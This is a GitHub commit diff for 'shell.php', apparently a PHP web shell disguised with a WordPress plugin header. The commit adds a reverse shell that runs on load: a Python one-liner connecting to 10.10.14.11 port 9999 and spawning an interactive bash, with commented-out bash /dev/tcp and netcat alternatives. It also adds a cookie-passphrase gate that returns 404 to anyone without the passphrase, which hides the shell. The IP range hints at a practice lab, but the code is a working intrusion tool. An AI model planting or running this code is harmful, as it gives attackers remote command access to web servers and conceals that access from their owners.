Skip to content

Commit ab9e14e

Browse files
authored
Update shell.php
1 parent 9770d38 commit ab9e14e

File tree

1 file changed

+33
-7
lines changed

1 file changed

+33
-7
lines changed

shell.php

+33-7
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,31 @@
77
* Author: Your Name Here
88
* Author URI: http://yourwebsiteurl.com/
99
**/
10+
ini_set('display_errors', 1);
11+
ini_set('display_startup_errors', 1);
12+
error_reporting(E_ALL);
13+
//////////////////////////////////////////////////
14+
//If you want to trigger a reverse shell on init//
15+
// uncomment the desired reverse shell //
16+
//////////////////////////////////////////////////
17+
18+
$rev_port = 9999;
19+
$rev_ip = '10.10.14.11';
20+
21+
$rev_shell = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" .$rev_ip. "\"," .$rev_port."));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'";
22+
23+
#$rev_shell = "bash -c \"/bin/bash -i >& /dev/tcp/" .$rev_ip. "/" .$rev_port. " 0>&1\"";
24+
25+
#$rev_shell = "nc " .$rev_ip. " " .$rev_port. " -e /bin/bash";
26+
27+
shell_exec($rev_shell);
28+
29+
//////////////////////////////////////////////////
30+
//////////////////////////////////////////////////
31+
32+
1033
// Auth with login/password (set true/false to enable/disable it)
34+
$cookie_login = true;
1135

1236
$cookie_name = "passphrase";
1337
$passphrase = "5b026675f94caae4a35fa030b7df2e77d80f76678ba8cea7a87d2d9dd20820f2";
@@ -16,16 +40,18 @@
1640

1741
$check_value = $passphrase;
1842

19-
if(isset($_COOKIE[$cookie_name])) {
20-
if($_COOKIE[$cookie_name] !== $check_value) {
21-
#echo $_COOKIE[$cookie_name] . " != " . $check_value;
22-
#header("HTTP/1.0 404 Not Found");
43+
if($cookie_login == true){
44+
if(isset($_COOKIE[$cookie_name])) {
45+
if($_COOKIE[$cookie_name] !== $check_value) {
46+
#echo $_COOKIE[$cookie_name] . " != " . $check_value;
47+
#header("HTTP/1.0 404 Not Found");
48+
http_response_code(404);
49+
exit;
50+
}
51+
} else {
2352
http_response_code(404);
2453
exit;
2554
}
26-
} else {
27-
http_response_code(404);
28-
exit;
2955
}
3056

3157
session_start();

0 commit comments

Comments
 (0)